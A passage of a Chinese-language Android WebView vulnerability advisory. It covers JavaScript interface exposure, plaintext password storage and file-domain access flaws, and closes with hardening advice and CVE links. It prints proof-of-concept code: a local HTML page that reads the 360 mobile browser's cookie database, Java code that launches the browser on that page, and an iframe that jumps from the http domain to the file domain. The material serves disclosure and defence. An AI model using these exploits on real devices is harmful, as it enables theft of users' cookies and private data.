[attach]465431[/attach]
以聚美优品为例Ver 3.305,APK MD5:DD8B00EDA393526F66D25CA16E8C7B5C,相关代码位于com.jm.android.jumei.controls.JuMeiCustomWebView.java中: public void initWebView(Activity activity, String str, LinearLayout linearLayout, IWebViewNotify iWebViewNotify) { ...... this.wapView.addJavascriptInterface(new WebAppJSInterface(), WEBVIEW_JS_INTERFACE_NAME); } 0X03 WebView密码明文存储漏洞 WebView默认开启密码保存功能mWebView.setSavePassword(true),如果该功能未关闭,在用户输入密码时,会弹出提示框,询问用户是否保存密码,如果选择"是",密码会被明文保到/data/data/com.package.name/databases/webview.db[attach]465430[/attach]
0X04 WebView域控制不严格漏洞 setAllowFileAccess Android中默认mWebView.setAllowFileAccess(true),在File域下,能够执行任意的JavaScript代码,同源策略跨域访问能够对私有目录文件进行访问等。APP对嵌入的WebView未对file:/// 形式的URL做限制,会导致隐私信息泄露,针对IM类软件会导致聊天信息、联系人等等重要信息泄露,针对浏览器类软件,则更多的是cookie信息泄露。 setAllowFileAccessFromFileURLs 在JELLY_BEAN以前的版本默认是setAllowFileAccessFromFileURLs(true),允许通过file域url中的Javascript读取其他本地文件,在JELLY_BEAN及以后的版本中默认已被是禁止。 setAllowUniversalAccessFromFileURLs 在JELLY_BEAN以前的版本默认是setAllowUniversalAccessFromFileURLs(true),允许通过file域url中的Javascript访问其他的源,包括其他的本地文件和http,https源的数据。在JELLY_BEAN及以后的版本中默认已被禁止。 360手机浏览器缺陷可导致用户敏感数据泄漏 以360手机浏览器4.8版本为例,由于未对file域做安全限制,恶意APP调用360浏览器加载本地的攻击页面(比如恶意APP释放到SDCARD上的一个HTML)后,就可以获取360手机浏览器下的所有私有数据,包括webviewCookiesChromium.db下的cookie内容,攻击页面关键代码: function getDatabase() { var request = false; if(window.XMLHttpRequest) { request = new XMLHttpRequest(); if(request.overrideMimeType) { request.overrideMimeType('text/xml');} } xmlhttp = request; var prefix = "file:////data/data/com.qihoo.browser/databases"; var postfix = "/webviewCookiesChromium.db"; //取保存cookie的db var path = prefix.concat(postfix); // 获取本地文件代码 xmlhttp.open("GET", path, false); xmlhttp.send(null); var ret = xmlhttp.responseText; return ret; } 漏洞利用代码: copyFile(); //自定义函数,释放filehehe.html到sd卡上 String url = "file:///mnt/sdcard/filehehe.html"; Intent contIntent = new Intent(); contIntent.setAction("android.intent.action.VIEW"); contIntent.setData(Uri.parse(url)); Intent intent = new Intent(); intent.setClassName("com.qihoo.browser","com.qihoo.browser.BrowserActivity"); intent.setAction("android.intent.action.VIEW"); intent.setData(Uri.parse(url)); this.startActivity(intent); 0X05 WebView file跨域漏洞 Android 2.3 webkit或者浏览器APP自建内核中会存在此类跨域漏洞。在处理转跳时存在漏洞,导致允许从http域跨向file域,实现跨域漏洞。以某浏览器4.5.0.511版本为例,写一个html,命名为filereach.html,存放在服务器上。该浏览器4.5.0.511的X5内核存在http域跨file域的漏洞。POC代码如下所示: <iframe name=f src="www.baidu.com" ></iframe> <script> function init(){ f.location = "file:///default.prop"; } setTimeout(init,5000) </script> 在浏览器中打开服务器上的filereach.html,将从http域跳转到file域 0X06安全开发建议 1)使用腾讯御安全类漏洞扫描工具进行基础开发漏洞检测定位; 2)建议开发者通过以下方式移除该JavaScript接口: removeJavascriptInterface("searchBoxJavaBridge_") removeJavascriptInterface("accessibility"); removeJavascriptInterface("accessibilityTraversal") 3)出于安全考虑,为了防止Java层的函数被随便调用,Google在4.2版本之后,规定允许被调用的函数必须以@JavascriptInterface进行注解 4)通过WebSettings.setSavePassword(false)关闭密码保存提醒功能 5)通过以下设置,防止越权访问,跨域等安全问题: setAllowFileAccess(false) setAllowFileAccessFromFileURLs(false) setAllowUniversalAccessFromFileURLs(false) 0X07参考信息 https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-6636 https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-4710 https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-1939 https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-7224 http://drops.wooyun.org/webview.html